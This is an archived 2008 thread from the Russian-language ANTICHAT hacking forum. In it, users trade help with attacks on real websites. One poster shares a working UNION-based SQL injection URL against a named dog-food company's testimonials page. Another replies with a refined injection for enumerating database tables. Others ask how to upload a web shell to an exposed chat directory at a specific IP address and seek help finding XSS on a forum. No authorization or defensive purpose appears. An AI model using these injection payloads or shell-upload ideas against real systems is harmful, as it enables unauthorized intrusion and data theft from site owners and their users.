ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

01.12.2008, 18:45
|
|
Познающий
Регистрация: 06.11.2008
Сообщений: 93
Провел на форуме: 349682
Репутация:
30
|
|
Помогите дальше раскурить:
https://www.flintriverranchdogfood.net/customer_testimonials.php?testimonial_id=-11+union+select+1,2,3,4,5,version(),7,8--
information_schema просмотрел, но вывести на страницу че-то не могу, везде еррор table doesn't exist.
|
|
|

01.12.2008, 18:49
|
|
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
Провел на форуме: 2584134
Репутация:
519
|
|
Попробуй перевести название таблицы в 16битный формат.
|
|
|

01.12.2008, 19:03
|
|
Познающий
Регистрация: 06.11.2008
Сообщений: 93
Провел на форуме: 349682
Репутация:
30
|
|
-m0rgan-,
Безрезультатно 
|
|
|

01.12.2008, 19:12
|
|
Участник форума
Регистрация: 19.03.2008
Сообщений: 108
Провел на форуме: 1357043
Репутация:
137
|
|
Сообщение от Octave_Parango
-m0rgan-,
Безрезультатно 
https://www.flintriverranchdogfood.net/customer_testimonials.php?testimonial_id=1+and+1=2 +union+select+1,2,3,4,5,table_name,7,8+from+inform ation_schema.tables--
|
|
|

01.12.2008, 19:24
|
|
Постоянный
Регистрация: 21.08.2008
Сообщений: 302
Провел на форуме: 458686
Репутация:
-25
|
|
Кто знает как моно воспользоваться вот этим? http://78.111.240.22/chat/skin4x-a/
????
|
|
|

01.12.2008, 19:29
|
|
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
Провел на форуме: 6722038
Репутация:
1385
|
|
geforce
можно сделать скрин .. потом помидитировать .. или ещё что ..
.зы ничего
хотя в http://78.111.240.22/chat/skin4x-a/templates/ есть пхп файлы но я там ничего интересного не нашёл ..
|
|
|

01.12.2008, 19:35
|
|
Постоянный
Регистрация: 21.08.2008
Сообщений: 302
Провел на форуме: 458686
Репутация:
-25
|
|
Сообщение от 159932
geforce
можно сделать скрин .. потом помидитировать .. или ещё что ..
.зы ничего
хотя в http://78.111.240.22/chat/skin4x-a/templates/ есть пхп файлы но я там ничего интересного не нашёл ..
Кроме того что можно сделать скрин .. потом помидитировать .. или ещё что ..
Нельзя не как туда шелу кинуть?
|
|
|

01.12.2008, 19:43
|
|
Участник форума
Регистрация: 16.11.2006
Сообщений: 230
Провел на форуме: 599789
Репутация:
227
|
|
geforce, ты с помощью этого видишь названия некоторых переменных. Можешь их проверить, авось, они не инициализируются... А если скрипт опен соурс - то ты получаешь ровным счётом ничего =)
|
|
|

01.12.2008, 19:45
|
|
Участник форума
Регистрация: 26.11.2008
Сообщений: 167
Провел на форуме: 1025333
Репутация:
112
|
|
помогите найти xss) форум ipb. за адресом в личку.
все описанные баги не действуют,не могу поверить в неприступность )))
|
|
|

01.12.2008, 19:48
|
|
Познающий
Регистрация: 06.11.2008
Сообщений: 93
Провел на форуме: 349682
Репутация:
30
|
|
Сообщение от nicusor
https://www.flintriverranchdogfood.net/customer_testimonials.php?testimonial_id=1+and+1=2 +union+select+1,2,3,4,5,table_name,7,8+from+inform ation_schema.tables--
Эту инфу я вывел, не получается со столбцами.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|